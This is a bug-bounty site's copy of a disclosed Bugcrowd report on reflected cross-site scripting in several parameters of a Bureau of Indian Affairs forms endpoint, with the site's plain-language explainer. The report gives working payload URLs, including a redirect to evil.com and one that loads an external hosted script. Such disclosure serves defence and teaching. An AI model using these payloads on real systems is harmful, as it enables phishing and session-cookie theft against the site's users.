Skip to content
XSS Disclosed report Beginner

Reflected XSS on itims.bia.gov

Several parameters on the itims.bia.gov forms endpoint reflect unsanitised input, allowing an attacker to inject and execute arbitrary JavaScript in a victim's browser. This could be used for phishing, redirection to a malicious site, or theft of session cookies if an employee clicks a crafted link.

meeterpreeter Follow

Originally disclosed on Bugcrowd

  • Accepted in 29 hours
  • Disclosed after 2.8 years

Summary by meeterpreeter

Can this vulnerability be disclosed? The initial finding was from Dec 2022 (so over a year) and it still has not been disclosed.

Report details

  • Submitted

    24 Oct 2023 18:48:01 UTC

  • Target Location

    *.bia.gov

  • Target category

    Web App

  • VRT

    Cross-Site Scripting (XSS) > Reflected > Non-Self

  • Priority

    P3

  • Bug URL

    https://itims.bia.gov/forms/frmservlet

  • Description

    Hi there,

    While testing your assets, I identified a Reflected XSS vulnerability in several parameters on the itims.bia.gov domain.

    There's a lengthy list of parameters that are leaked when capturing a request to this endpoint: https://itims.bia.gov/forms/frmservlet

    I fuzzed these parameters and identified seven parameters that reflect the value and are not sanitized. You can simply copy and paste each of the links below to observe the PoC:

    https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script>alert('XSS!')</script><!-- https://itims.bia.gov/forms/frmservlet?WebUtilTrustInternal=meeterpreeter--><script>alert('XSS!')</script><!-- https://itims.bia.gov/forms/frmservlet?WebUtilMaxTransferSize=meeterpreeter--><script>alert('XSS!')</script><!-- https://itims.bia.gov/forms/frmservlet?WebUtilLoggingDetail=meeterpreeter--><script>alert('XSS!')</script><!-- https://itims.bia.gov/forms/frmservlet?WebUtilLogging=meeterpreeter--><script>alert('XSS!')</script><!-- https://itims.bia.gov/forms/frmservlet?WebUtilDispatchMonitorInterval=meeterpreeter--><script>alert('XSS!')</script><!-- https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script>alert('XSS!')</script><!--

    I conducted some additional testing and can confirm that redirection is possible (someone can spoof the site and host it on their own domain): https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script>window.location.href="https://evil.com"</script><!--

    Additionally, hosted scripts can be executed as well (I used this website's hosted file as a PoC): https://itims.bia.gov/forms/frmservlet?WebUtilDateFormat=meeterpreeter--><script%20src='https://sakurity.com/jqueryxss'></script><!--

    Although this is a reflected XSS, this may be considered riskier since this site hosts an admin panel (Oracle Enterprise Manager): https://itims.bia.gov/em.

    Since this is a .gov site, this can be a good candidate for phishing URLs which could lead to cookie capture if an employee clicks on the link. These parameters should sanitize any input provided in the requests.

    Please let me know if you require more thorough PoCs -- I have also attached screenshots below.

The original report as published on Bugcrowd, by meeterpreeter. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute arbitrary JavaScript in a victim's browser, potentially leading to phishing, redirection to a malicious site, or cookie theft if an employee clicks a crafted link.

What the attacker needed

Victim clicks a crafted link

The fix

The application should sanitise or encode all user-supplied input before reflecting it in responses.

How it was found

  1. Identify the endpoint that accepts multiple parameters.
  2. Fuzz the parameters to find those that reflect unsanitised input.
  3. Craft a URL with a payload in one of the vulnerable parameters.
  4. Send the crafted URL to a victim to execute the script in their browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website takes something you type into the address bar and puts it directly onto the page without cleaning it first, an attacker can include code (like JavaScript) that the browser will run. This is called reflected cross-site scripting (XSS). Here, the attacker tricks a user into clicking a link that contains the malicious code, and the code runs as if it came from the trusted site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Bureau of Indian Affairs

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.